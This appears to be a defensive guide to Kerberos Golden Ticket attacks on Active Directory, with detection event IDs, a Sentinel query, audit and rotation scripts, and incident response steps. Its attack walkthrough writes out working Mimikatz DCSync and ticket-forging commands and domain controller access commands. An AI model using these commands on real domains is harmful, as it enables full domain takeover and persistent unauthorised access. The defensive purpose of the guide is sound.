In the Kerberoasting guide, we left the attacker at a critical moment: "Forty-seven minutes after initial access, the attacker had a Golden Ticket." This article explains what happened next — and why it's far worse than the original compromise.
A Golden Ticket is a forged Kerberos Ticket-Granting Ticket (TGT) created
using the stolen password hash of the krbtgt account — the Active Directory
service account that cryptographically signs every TGT in the domain. With that hash,
attackers can issue themselves tickets claiming to be anyone, with any group memberships,
valid for any duration. The domain controller trusts the ticket because the signature is
genuine; it never verifies the claimed identity against Active Directory.
Changing user passwords makes no difference. Deleting user accounts makes no difference. Rebooting servers makes no difference. The attacker is not relying on credentials — they are the KDC. The only remediation is rotating the krbtgt account password twice, with at least 10 hours between rotations.
In This Guide
- Breach Scenario: The Ticket That Didn't Die
- What is a Golden Ticket?
- How the Attack Works
- The krbtgt Account
- Golden vs Silver Ticket
- Find Your Exposure
- Detection: Event IDs & Anomalies
- Prevention: 5 Controls
- krbtgt Dual Rotation Procedure
- Incident Response Checklist
- Compliance Mapping
- Maintenance Schedule
- Resources & References
Breach Scenario: The Ticket That Didn't Die
Continuation of the Kerberoasting scenario — composite based on real-world patterns
The cracked password was SQLSvc2019!. The service account was a member of
Domain Admins — "easier than figuring out the minimum permissions."
With Domain Admin access, the attacker's next command took 14 seconds:
lsadump::dcsync /domain:corp.local /user:krbtgt
The krbtgt NTLM hash was now on their screen. They used it to forge a TGT valid for
10 years, claimed membership of Domain Admins, Enterprise Admins, and
Schema Admins, and set the username to TotallyLegitAdmin — an account that
did not exist in Active Directory.
Three months later, the security team discovered the breach, reset every privileged account password, disabled the SQLSvc2019 account, and ran a full EDR sweep. They missed one thing: they never rotated the krbtgt password.
Six months after initial access, the attacker authenticated to a domain
controller as TotallyLegitAdmin — an account that had never existed — using
a TGT signed with the krbtgt hash from the original compromise. The investigation
team's first question: "How is a deleted account authenticating?"
What is a Golden Ticket?
A Golden Ticket is a forged Kerberos TGT crafted with the krbtgt account's
password hash. It is catalogued as MITRE ATT&CK T1558.001. Unlike
a real TGT — where the KDC queries Active Directory to verify the user's identity and
group memberships before signing the ticket — a forged TGT uses the attacker's own data.
The domain controller cannot distinguish a forged ticket from a legitimate one; both carry
a valid cryptographic signature from the same key.
| Attribute | Value |
|---|---|
| MITRE ATT&CK | T1558.001 — Steal or Forge Kerberos Tickets: Golden Ticket |
| Prerequisite | krbtgt account NTLM hash or AES keys — requires Domain Admin or DCSync rights to obtain |
| What can be forged | Any username (including non-existent), any group memberships, any ticket lifetime (default: 10 years in Mimikatz) |
| Detection difficulty | 🟠 Hard — forged tickets use the legitimate Kerberos protocol; requires deep log correlation and anomaly detection |
| Persistence | Survives password resets, account deletions, system reboots, and security tool deployments — until krbtgt is rotated twice |
| Common tools | Mimikatz (kerberos::golden), Rubeus
(golden /createnetonly), Impacket
(ticketer.py) |
| Five Eyes reference | NSA/CISA Advisory AA22-335A — listed as a top persistence technique against Active Directory environments |
How the Attack Works
A Golden Ticket attack is a post-exploitation technique — the attacker must already hold Domain Admin or DCSync rights. It is the logical sequel to Kerberoasting, DCSync, or ntds.dit extraction: once an attacker reaches domain-level privilege, they immediately try to obtain the krbtgt hash for long-term persistence.
Step 1 — Obtain the krbtgt Hash
Three primary methods, each requiring different privilege levels:
| Method | Privilege Required | Command | Time to Hash |
|---|---|---|---|
| DCSync | Directory Replication rights (default: Domain Admins, Enterprise Admins, Domain Controllers) | lsadump::dcsync /user:krbtgt |
<30 seconds, no DC logon required |
| LSASS memory dump on DC | Local admin on a Domain Controller | sekurlsa::logonpasswords after dumping lsass.exe |
<2 minutes, requires physical/RDP DC access |
| ntds.dit extraction | Local admin on a DC or access to DC backup | Shadow copy + secretsdump.py |
5–15 minutes, entire domain credential database |
Step 2 — Gather Domain Information
# Information needed to forge the ticket
$DomainSID = (Get-ADDomain).DomainSID.Value # S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX
$Domain = (Get-ADDomain).DNSRoot # corp.local
# Group RIDs to claim in the forged ticket
# 512 = Domain Admins, 513 = Domain Users, 519 = Enterprise Admins, 520 = Group Policy Creator Owners
# 518 = Schema Admins, 572 = Denied RODC Password Replication Group
Step 3 — Forge the Golden Ticket
# Mimikatz — forge a TGT valid for 10 years with Domain Admin + Enterprise Admin membership
kerberos::golden `
/user:TotallyLegitAdmin `
/domain:corp.local `
/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX `
/krbtgt:<ntlm_hash_here> `
/id:500 `
/groups:512,519,518,513 `
/startoffset:0 `
/endin:525600 `
/renewmax:10080 `
/ptt # pass-the-ticket: inject directly into current session
Step 4 — Access Any Resource in the Domain
With the forged TGT injected into the session (/ptt), the attacker has
authenticated access to every domain resource — using an account that does not exist in
Active Directory:
# Access domain controller administrative share
dir \\DC01\C$
# Remote shell on domain controller
psexec \\DC01 cmd
# Query entire AD with Domain Admin privileges
Get-ADUser -Filter * -Server DC01
# Access file servers, SQL, Exchange — anything in the domain
# The ticket claims Domain Admin + Enterprise Admin membership — no AD lookup happens
Step 5 — Persist Across All Remediation Attempts
What makes Golden Tickets uniquely dangerous as a persistence mechanism:
- Security team resets the compromised service account password → attacker's TGT is unaffected
- Security team deletes the fake account → attacker's TGT is unaffected (DCs trust the signature, not the account's existence)
- Security team deploys EDR and runs full sweep → existing TGT survives in memory
- Attacker's workstation reboots → save TGT to disk first, reload after reboot
- Six months later: load the saved TGT file and resume access — as long as krbtgt was never rotated
Forest Persistence via Trust Tickets
In multi-forest environments, attackers can extend Golden Tickets beyond the compromised domain. By combining a forged TGT with the inter-realm trust account hash, they create a Trust Ticket that grants access to every domain in the forest. A single domain compromise in a multi-domain forest can lead to enterprise-wide persistence. This is why krbtgt rotation must be performed in every child domain during incident response.
The krbtgt Account: Why It's the Master Key
The krbtgt account (Kerberos Ticket Granting Ticket service account) is
created automatically when Active Directory is installed. Its password hash is used by
every Domain Controller as the signing key for all TGTs issued in the domain. It is the
single most critical secret in an Active Directory domain.
| Property | Detail | Security Implication |
|---|---|---|
| Password changed by | Only Active Directory itself (via the KDC service), or explicitly by an administrator using a reset | Never set by a human — never expires by default — many environments have never rotated it since AD installation |
| Password history | AD stores the previous krbtgt password in addition to the current one | A single rotation is not enough — the old hash remains usable until a second rotation removes it from history |
| Domain role | Signs ALL Kerberos TGTs issued in the domain | Compromise = ability to forge any TGT, for any user, with any privilege, indefinitely |
| Typical password age in the wild | Survey data (Microsoft/various): median enterprise krbtgt password age is 3–7 years; 15–25% of environments have a password set at AD installation and never rotated | Any attacker who obtained the krbtgt hash via a historical breach (backup theft, contractor access, old pentest) may still hold a valid Golden Ticket |
| Read-Only Domain Controllers (RODC) | RODCs use a separate krbtgt_xxxxx account per RODC |
RODC compromise is isolated — compromise of the writable DC krbtgt is not required to forge tickets for RODC-cached accounts |
Golden Ticket vs Silver Ticket
Golden and Silver tickets are often confused. The key difference is scope: Golden Tickets are domain-wide; Silver Tickets target a single service.
| Property | Golden Ticket | Silver Ticket |
|---|---|---|
| Ticket type | TGT (Ticket-Granting Ticket) | TGS (Ticket-Granting Service — service ticket) |
| Signed with | krbtgt NTLM hash (or AES keys) | Target service account NTLM hash |
| Scope | Domain-wide — access ANY service in the domain | Single service — e.g., CIFS on one server |
| KDC involvement | No KDC contact needed after forging (self-contained) | No KDC contact at all — ticket goes directly to service |
| Detectable via logs | Partial — 4624 without 4768, anomalous 4769, 4672 for fake users | Harder — no KDC events; only local service access logs |
| Remediation | Rotate krbtgt twice | Reset compromised service account password |
| Privilege required to forge | krbtgt hash (requires Domain Admin / DCSync) | Service account hash (obtainable via Kerberoasting or credential theft) |
Find Your Exposure: krbtgt Password Age Audit
Check how long it has been since your krbtgt password was last rotated. If it has never been rotated — or was rotated years ago — any attacker who obtained the hash during that period may still hold a valid Golden Ticket.
# Audit krbtgt password age across all domains in the forest
Get-ADForest | ForEach-Object { $_.Domains } | ForEach-Object {
$Domain = $_
$Krbtgt = Get-ADUser 'krbtgt' -Properties PasswordLastSet -Server $Domain
$Age = if ($Krbtgt.PasswordLastSet) {
[int](New-TimeSpan -Start $Krbtgt.PasswordLastSet).TotalDays
} else { 9999 }
$Risk = switch -Regex ($Age) {
'^[0-9]$|^[0-9][0-9]$|^1[0-7][0-9]$' { 'LOW ✅' } # < 180 days
'^(1[8-9][0-9]|[2-9][0-9]{2}|[1-2]\d{3})$' { 'MEDIUM ⚠️' } # 180-365 days
default { 'HIGH 🔴' } # > 365 days
}
[PSCustomObject]@{
Domain = $Domain
PasswordAge = "$Age days"
LastSet = $Krbtgt.PasswordLastSet
Risk = $Risk
}
} | Format-Table -AutoSize
Full Golden Ticket Detection Script
The Golden Ticket Detection Script performs comprehensive analysis across five phases: krbtgt password age, anomalous TGT request patterns, missing TGT correlation, service ticket anomalies, and privileged access outliers. Runs as a scheduled task against all domain controllers.
Detection: Event IDs and Anomaly Patterns
Golden Tickets are detectable, but detection requires Kerberos audit logging enabled on all Domain Controllers and an active correlation between multiple event IDs. No single event confirms a Golden Ticket — the signal is in the combination.
Enable Required Auditing
Configure via GPO on the Default Domain Controllers Policy:
- Computer Configuration → Advanced Audit Policy → Account Logon
- Audit Kerberos Authentication Service — Success, Failure
- Audit Kerberos Service Ticket Operations — Success
- Audit Logon Events — Success, Failure (for Event ID 4624 correlation)
- Audit Special Logon — Success (for Event ID 4672)
Detection Indicators by Event ID
| Event ID | Type | Golden Ticket Indicator | False Positive Rate |
|---|---|---|---|
| 4768 | TGT request (AS-REQ) | Unusual encryption type (0x17 RC4 when AES enforced),
excessively long ticket lifetime requested, TGT request for a
non-existent or recently deleted account name |
Low for RC4 anomaly; Medium for lifetime |
| 4769 | Service ticket request (TGS-REQ) | Service ticket request from an account that has no corresponding 4768 TGT request — attacker used pre-forged TGT and skipped the KDC | Medium — correlate with 4624 to confirm |
| 4624 | Successful logon | Logon event with no preceding 4768 — this is the most reliable single indicator. A legitimate user always requests a TGT first (unless they have a cached TGT from a recent session) | Medium — tune for time window and exclude machine accounts |
| 4672 | Special privileges assigned | Special privilege (Domain Admin, SeDebugPrivilege) assigned to an account that does not exist in AD — the clearest forensic indicator of a Golden Ticket in use | Very low — non-existent account with DA privileges is unambiguous |
| 4776 | NTLM authentication | NTLM logon for an account immediately followed by Kerberos ticket requests — attacker may be pivoting between authentication methods | High — correlate with other indicators only |
SIEM Detection Rule (KQL / Microsoft Sentinel)
// Golden Ticket Detection: 4624 logon without preceding 4768 TGT request
// Excludes machine accounts and known service scenarios
let lookback = 30min;
let LogonEvents = SecurityEvent
| where EventID == 4624
| where AuthenticationPackageName == "Kerberos"
| where AccountType == "User"
| where Account !endswith "$" // exclude machine accounts
| project LogonTime = TimeGenerated, Account, IpAddress, Computer;
let TGTRequests = SecurityEvent
| where EventID == 4768
| where AccountType == "User"
| project TGTTime = TimeGenerated, Account;
LogonEvents
| join kind=leftanti (
TGTRequests
| where TGTTime between (ago(lookback + 1h) .. now())
) on Account
| where LogonTime > ago(lookback)
| project LogonTime, Account, IpAddress, Computer
| order by LogonTime desc
// Separately: alert on Event ID 4672 for accounts not in AD
SecurityEvent
| where EventID == 4672
| where AccountType == "User"
| where Account !endswith "$"
| join kind=leftanti (
// Reference table of valid AD accounts
IdentityInfo | where Type == "Account" | project Account = AccountUPN
) on Account
| project TimeGenerated, Account, Computer, PrivilegeList
| order by TimeGenerated desc
krbtgt Password Age Alert
# Add to your daily monitoring — alert if krbtgt age exceeds 180 days
$Krbtgt = Get-ADUser 'krbtgt' -Properties PasswordLastSet
$AgeDays = [int](New-TimeSpan -Start $Krbtgt.PasswordLastSet).TotalDays
if ($AgeDays -gt 180) {
Write-Warning "krbtgt password age: $AgeDays days (threshold: 180). Rotation required."
# Send to SIEM / alert pipeline
}
Prevention: 5 Controls Ranked by Effectiveness
| # | Control | Effectiveness | What It Stops |
|---|---|---|---|
| 1 | Regular krbtgt dual rotation (every 180 days) | 🟢 Maximum — limits the window during which any stolen hash remains useful | Long-lived Golden Ticket persistence; reduces breach window to ≤180 days |
| 2 | Protected Users security group for privileged accounts | 🟢 High — prevents RC4 TGT issuance and credential caching, forcing attackers to use AES | RC4 Golden Tickets; NTLM fallback; credential caching on non-DCs |
| 3 | Authentication Policy Silos for Tier 0 | 🟡 High — restricts where TGTs for privileged accounts can be used | Lateral movement via Golden Ticket to non-authorised systems; limits blast radius even if a ticket is forged |
| 4 | PAW-only DC access (Tier 0 enforcement) | 🟡 High — prevents the LSASS dump and DCSync paths that extract the krbtgt hash | krbtgt hash extraction via LSASS dump on DCs; reduces initial compromise paths |
| 5 | Windows Credential Guard | 🟡 Medium–High — prevents LSASS from being accessed by non-system processes | LSASS memory dumping on endpoints and member servers; does not protect DCs directly |
Protected Users Security Group
Adding privileged accounts to the Protected Users group enforces several Kerberos restrictions that directly reduce Golden Ticket viability:
- TGTs issued only with AES128 or AES256 encryption — no RC4
- TGT lifetime reduced to 4 hours (not renewable)
- Credentials are not cached on hosts the user authenticates to
- No NTLM, Digest, or CredSSP authentication (Kerberos only)
# Add all Domain Admins to Protected Users
Get-ADGroupMember 'Domain Admins' -Recursive |
Where-Object { $_.objectClass -eq 'user' } |
ForEach-Object { Add-ADGroupMember 'Protected Users' $_.DistinguishedName }
# Verify
Get-ADGroupMember 'Protected Users' | Select-Object Name, SamAccountName
Test Protected Users Before Broad Rollout
Protected Users is not compatible with Kerberos constrained delegation, DES or RC4 authentication, or NTLM fallback scenarios. Test in a pilot group first. Service accounts that authenticate to older systems may break. See Microsoft documentation for the full incompatibility list.
krbtgt Dual Rotation: The Only True Remediation
Whether rotating proactively (every 180 days) or as an incident response action, the procedure is the same. The reason two rotations are required is rooted in how Active Directory handles the krbtgt password history: the domain retains the previous password so that DCs that haven't yet replicated the new password can still validate in-flight tickets. An attacker holding the old hash exploits exactly this window.
| Rotation | What It Does | Effect on Golden Tickets |
|---|---|---|
| First rotation | Generates a new krbtgt password. The old password becomes "previous" in password history. | Golden Tickets using the now-old hash will expire within the current max ticket lifetime (up to 10 hours). New forgeries with the old hash still work until expiry. |
| Wait ≥ 10 hours | All legitimate TGTs issued before the first rotation expire naturally (max TGT lifetime = 10 hours by default). | Existing forged tickets using the old hash also expire. No new forgeries possible with old hash if DCs have the new one. |
| Second rotation | Generates another new password. The previous password (old hash from rotation 1) is overwritten from history entirely. | The old hash is permanently unusable. Any Golden Ticket forged before rotation 1 is now permanently invalid. This is the definitive remediation step. |
Pre-Rotation Checklist
- Verify AD replication is healthy on all DCs:
repadmin /replsummary - Notify application and server teams — services with cached Kerberos tickets may require restart within 10 hours
- Confirm no DCs are in maintenance mode or offline
- Document current krbtgt key version number before rotating
- Schedule second rotation at least 10 hours after the first
Rotation Script
Verify Rotation Succeeded
# Confirm new key version on all DCs after rotation
$Expected = (Get-ADUser 'krbtgt' -Properties 'msDS-KeyVersionNumber' -Server (Get-ADDomain).PDCEmulator).'msDS-KeyVersionNumber'
Get-ADDomainController -Filter * | ForEach-Object {
$V = (Get-ADUser 'krbtgt' -Properties 'msDS-KeyVersionNumber' -Server $_.HostName).'msDS-KeyVersionNumber'
[PSCustomObject]@{
DC = $_.HostName
Version = $V
Status = if ($V -eq $Expected) { '✅ Replicated' } else { '⚠️ Pending' }
}
} | Format-Table -AutoSize
Incident Response: Golden Ticket Detected
If detection fires on Golden Ticket indicators, assume the attacker has had persistent access for an unknown duration — potentially since the last time the krbtgt password was set. Check your krbtgt password age; that is the maximum possible breach window.
| Phase | Timeframe | Actions |
|---|---|---|
| Contain | 0–30 min |
|
| Assess | 30 min–4 hrs |
|
| Remediate | 4–8 hrs |
|
| Recover | 8–72 hrs |
|
When to Declare a Full Forest Compromise
Escalate to full forest recovery if any of these are confirmed:
- The Golden Ticket was used to access any Domain Controller
- The attacker used the ticket to run DCSync or access ntds.dit — all domain credential hashes are compromised
- Evidence of inter-forest lateral movement via trust tickets
- New Domain Controllers or trust relationships were added without a change management record
Forest recovery requires Planning for Compromise (PfC) procedures and goes significantly beyond krbtgt rotation.
Compliance Mapping
| Framework | Relevant Control | How This Guide Addresses It |
|---|---|---|
| MITRE ATT&CK | T1558.001 — Golden Ticket | Full detection, prevention, and response coverage |
| NSA/CISA Five Eyes (AA22-335A) | Golden Ticket listed as a top persistence technique against AD | krbtgt rotation cadence, Protected Users, PAW-only DC access |
| CIS Controls v8 (Control 4.7) | Manage default accounts — rotate service account credentials on a defined schedule | 180-day krbtgt rotation policy satisfies this requirement |
| NIST SP 800-53 (IA-5) | Authenticator management — rotation and complexity for privileged service accounts | Automated krbtgt rotation with 180-day maximum age |
| ASD Essential Eight (Restrict Admin Privileges) | Privileged accounts must use dedicated workstations and be controlled to minimum necessary | PAW-only DC access (Prevention control #4); Protected Users group |
| ISO 27001:2022 (A.8.5) | Secure authentication — management of privileged account credentials | krbtgt rotation policy + audit logging + incident response procedures |
Maintenance Schedule
Golden Ticket controls integrate into the AD Housekeeping Tasks schedule. The semi-annual krbtgt dual rotation is the most critical operational item.
| Frequency | Task | What to Check |
|---|---|---|
| Daily | Monitor for Golden Ticket anomalies | SIEM alert on Event ID 4624 without 4768 for user accounts; 4672 for non-existent account names; 4768 RC4 anomalies |
| Weekly | Review krbtgt key version number | Verify the key version matches across all DCs — a mismatch indicates a failed rotation or replication issue |
| Monthly | Audit krbtgt password age | Query password age; flag if >150 days (pre-warning before 180-day threshold); confirm Protected Users membership for Tier 0 accounts |
| Semi-Annual | krbtgt Dual Rotation | Execute the two-rotation procedure using the detection script as a pre-check and the rotation script above. Document rotation timestamps and new key version number. Rotate in all domains. |
Golden Ticket Detection Script
The script below performs comprehensive five-phase detection analysis against all Domain Controllers. Run it as a baseline and schedule it as a weekly task.
Resources & Related Articles
EguibarIT Guides
- Kerberoasting Guide — The attack that most commonly precedes a Golden Ticket: service account hash cracking, detection, and gMSA migration
- Golden Ticket Detection Script — Full five-phase PowerShell analysis: krbtgt age, anomalous TGT patterns, 4624/4768 correlation, 4672 outliers
- DCSync Detection Script — Detect the attack most commonly used to extract the krbtgt hash (Event ID 4662 with replication rights)
- 17 Active Directory Attacks: Five Eyes Guide — Golden Ticket in context with DCSync, Silver Ticket, Skeleton Key, and 13 other NSA/CISA-documented techniques
- Credential Theft Defenses — Credential Guard, Protected Users, LSASS protection, and Kerberos hardening baselines that reduce the krbtgt extraction attack surface
- Planning for Compromise — Forest recovery procedures for when krbtgt compromise escalates to full forest compromise
- AD Housekeeping Tasks — Semi-annual krbtgt dual rotation in the operational maintenance schedule